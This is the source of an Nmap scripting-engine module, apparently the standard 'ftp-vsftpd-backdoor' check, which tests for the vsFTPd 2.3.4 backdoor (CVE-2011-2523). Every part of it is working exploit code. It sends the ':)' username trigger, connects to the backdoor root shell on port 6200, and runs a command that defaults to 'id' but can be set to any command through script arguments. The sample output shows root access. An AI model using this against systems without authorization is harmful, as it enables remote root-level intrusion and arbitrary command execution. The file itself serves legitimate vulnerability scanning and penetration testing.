local ftp = require "ftp"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
(CVE-2011-2523). This script attempts to exploit the backdoor using the
innocuous id
command by default, but that can be changed with
the exploit.cmd
or ftp-vsftpd-backdoor.cmd
script
arguments.
References:
* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
* https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093
* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
]]
---
-- @usage
-- nmap --script ftp-vsftpd-backdoor -p 21
--
-- @args exploit.cmd or ftp-vsftpd-backdoor.cmd Command to execute in shell
-- (default is id
).
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-vsftpd-backdoor:
-- | VULNERABLE:
-- | vsFTPd version 2.3.4 backdoor
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2011-2523 OSVDB:73573
-- | Description:
-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
-- | Disclosure date: 2011-07-03
-- | Exploit results:
-- | The backdoor was already triggered
-- | Shell command: id
-- | Results: uid=0(root) gid=0(root) groups=0(root)
-- | References:
-- | http://osvdb.org/73573
-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
-- |_ https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093
--
author = "Daniel Miller"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "malware", "vuln"}
local CMD_FTP = "USER X:)\r\nPASS X\r\n"
local CMD_SHELL_ID = "id"
portrule = function (host, port)
-- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "vsftpd" then
return false
end
-- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "2.3.4" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
local function finish_ftp(socket, status, message)
if socket then
socket:close()
end
return status, message
end
-- Returns true, results if vsFTPd was backdoored
local function check_backdoor(host, shell_cmd, vuln)
local socket = nmap.new_socket("tcp")
socket:set_timeout(10000)
local status, ret = socket:connect(host, 6200, "tcp")
if not status then
stdnse.print_debug(3, "%s: can't connect to tcp port 6200: NOT VULNERABLE",
SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true)
end
status, ret = socket:send(CMD_SHELL_ID.."\n")
if not status then
return finish_ftp(socket, false, "failed to send shell command")
end
status, ret = socket:receive_lines(1)
if not status then
return finish_ftp(socket, false,
string.format("failed to read shell command results: %s",
ret))
end
if not ret:match("uid=") then
stdnse.print_debug(3,
"%s: service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE",
SCRIPT_NAME)
vuln.state = vulns.STATE.NOT_VULN
return finish_ftp(socket, true)
else
if shell_cmd ~= CMD_SHELL_ID then
status, ret = socket:send(shell_cmd.."\n")
if not status then
return finish_ftp(socket, false, "failed to send shell command")
end
status, ret = socket:receive_lines(1)
if not status then
return finish_ftp(socket, false,
string.format("failed to read shell commands results: %s",
ret))
end
else
socket:send("exit\n");
end
end
vuln.state = vulns.STATE.EXPLOIT
table.insert(vuln.exploit_results,
string.format("Shell command: %s", shell_cmd))
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
table.insert(vuln.exploit_results,
string.format("Results: %s", result))
return finish_ftp(socket, true)
end
action = function(host, port)
-- Get script arguments.
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
local vsftp_vuln = {
title = "vsFTPd version 2.3.4 backdoor",
IDS = {CVE = 'CVE-2011-2523', OSVDB = '73573'},
description = [[
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
references = {
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
'https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093',
},
dates = {
disclosure = {year = '2011', month = '07', day = '03'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
-- check to see if the vsFTPd backdoor was already triggered
local status, ret = check_backdoor(host, cmd, vsftp_vuln)
if status then
return report:make_output(vsftp_vuln)
end
-- Create socket.
local sock, err = ftp.connect(host, port,
{recv_before = false,
timeout = 8000})
if not sock then
stdnse.print_debug(1, "%s: can't connect: %s",
SCRIPT_NAME, err)
return nil
end
-- Read banner.
local buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer)
if not code then
stdnse.print_debug(1, "%s: can't read banner: %s",
SCRIPT_NAME, message)
sock:close()
return nil
end
status, ret = sock:send(CMD_FTP .. "\r\n")
if not status then
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
SCRIPT_NAME, ret)
return nil
end
stdnse.sleep(1)
-- check if vsFTPd was backdoored
status, ret = check_backdoor(host, cmd, vsftp_vuln)
if not status then
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret)
return nil
end
-- delay ftp socket cleaning
sock:close()
return report:make_output(vsftp_vuln)
end